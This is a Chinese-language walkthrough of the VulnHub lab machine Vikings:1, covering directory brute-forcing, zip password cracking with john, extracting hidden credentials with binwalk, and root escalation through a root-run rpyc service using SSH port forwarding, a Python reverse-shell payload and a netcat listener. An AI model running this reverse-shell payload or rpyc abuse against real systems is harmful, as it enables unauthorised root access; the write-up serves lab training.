当前位置:网站首页>VIKINGS: 1 vulnhub walkthrough
VIKINGS: 1 vulnhub walkthrough
2022-08-02 03:25:00 【xdeclearn】
虚拟机地址 : https://www.vulnhub.com/entry/vikings-1,741/
infomation
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
访问web。
对目录site进行目录和文件爆破,发现了war.txt。
* vikings gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.94.129/site -x txt,php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.94.129/site
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2021/09/16 03:06:43 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 322] [--> http://192.168.94.129/site/images/]
/css (Status: 301) [Size: 319] [--> http://192.168.94.129/site/css/]
/js (Status: 301) [Size: 318] [--> http://192.168.94.129/site/js/]
/war.txt (Status: 200) [Size: 13]
该文件指向另一个目录/war-is-over,进入下载index.html,这是一段base64加密,查看二进制,发现是zip文档。
这是一个加密zip文档,使用john解密(解密过程可以自行百度使用john解密zip),使用rockyou.txt作为字典得到密码ragnarok123。解压得到文件king,使用binwalk查看,发现文件中还有一个zip文档。
* vikings binwalk king
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
1429567 0x15D03F Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 92, name: user
1429740 0x15D0EC End of Zip archive, footer length: 22
使用dd得到含有user的zip文档,从而得到第一个用户名密码floki/[email protected]。
* vikings cat user
//[email protected]
//[email protected]
提权
ssh登录用户floki,查看端口情况,发现了端口18812开放,同时进程中有rpyc是以root用户运行的,于是我们利用该进程进行提权,需要注意的是服务器不允许外连端口,所以是不能直接反弹端口获取shell的,这里采用ssh进行本地端口转发(转发18812端口到攻击机)和远程端口转发(将攻击机监听端口转发到目标机)。
[email protected]:~$ ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:45935 0.0.0.0:*
LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 127.0.0.1:18812 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8000 0.0.0.0:*
[email protected]:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1087 0.0 2.2 209144 22376 ? Sl 14:14 0:04 python3 /usr/local/bin/rpyc_classic.py
攻击机将目标主机18812端口转发到本地
ssh -CfNg -L 18812:127.0.0.1:18812 [email protected]
攻击机将本地8000端口转发到目标主机的8000端口。
ssh -CfNg -R 8000:192.168.94.128:8000 [email protected]
然后在攻击机执行下面python代码(需本地安装rpyc库)。
#!/usr/bin/python3
#主要是利用server执行execute方法反弹shell到本地的8000端口
import rpyc
conn = rpyc.classic.connect("localhost")
f = conn.execute('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
conn.close()
成功获取root权限。
* ~ rlwrap nc -lvp 8000
listening on [any] 8000 ...
192.168.94.128: inverse host lookup failed: Host name lookup failure
connect to [192.168.94.128] from (UNKNOWN) [192.168.94.128] 53968
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
f0b98d4387ff6da77317e582da98bf31
边栏推荐
- vim编辑模式
- 多线程(实现多线程、线程同步、生产者消费者)
- [symfony/mailer] An elegant and easy-to-use mail library
- 二维码生成API接口,可以直接作为A标签连接
- 17.JS条件语句和循环,以及数据类型转换
- IP access control: teach you how to implement an IP firewall with PHP
- 解决uni-app 打包H5网站 下载图片问题
- PHP有哪些框架?
- ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
- [trendsoft/capital]金额转中文大写库
猜你喜欢
随机推荐
TypeScript 错误 error TS2469、error TS2731 解决办法
js预编译 GO 和AO
Several interesting ways to open PHP: from basic to perverted
1.10今日学习
PHP的几个有趣的打开方式:从基本到变态
PHP有哪些杀手级超厉害框架或库或应用?
ES6迭代器解释举例
meime module
项目中遇到的问题
js scope and closure
PHP有哪些框架?
Phpstudy安装Thinkphp6(问题+解决)
阿里云MySQL5.7安装以及部分主要问题(总和)
17.JS条件语句和循环,以及数据类型转换
Baidu positioning js API
What are the PHP framework?
[league/flysystem]一个优雅且支持度非常高的文件操作接口
uniapp | 开发中遇到的兼容性问题(待续)
DVWA靶机安装教程
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝








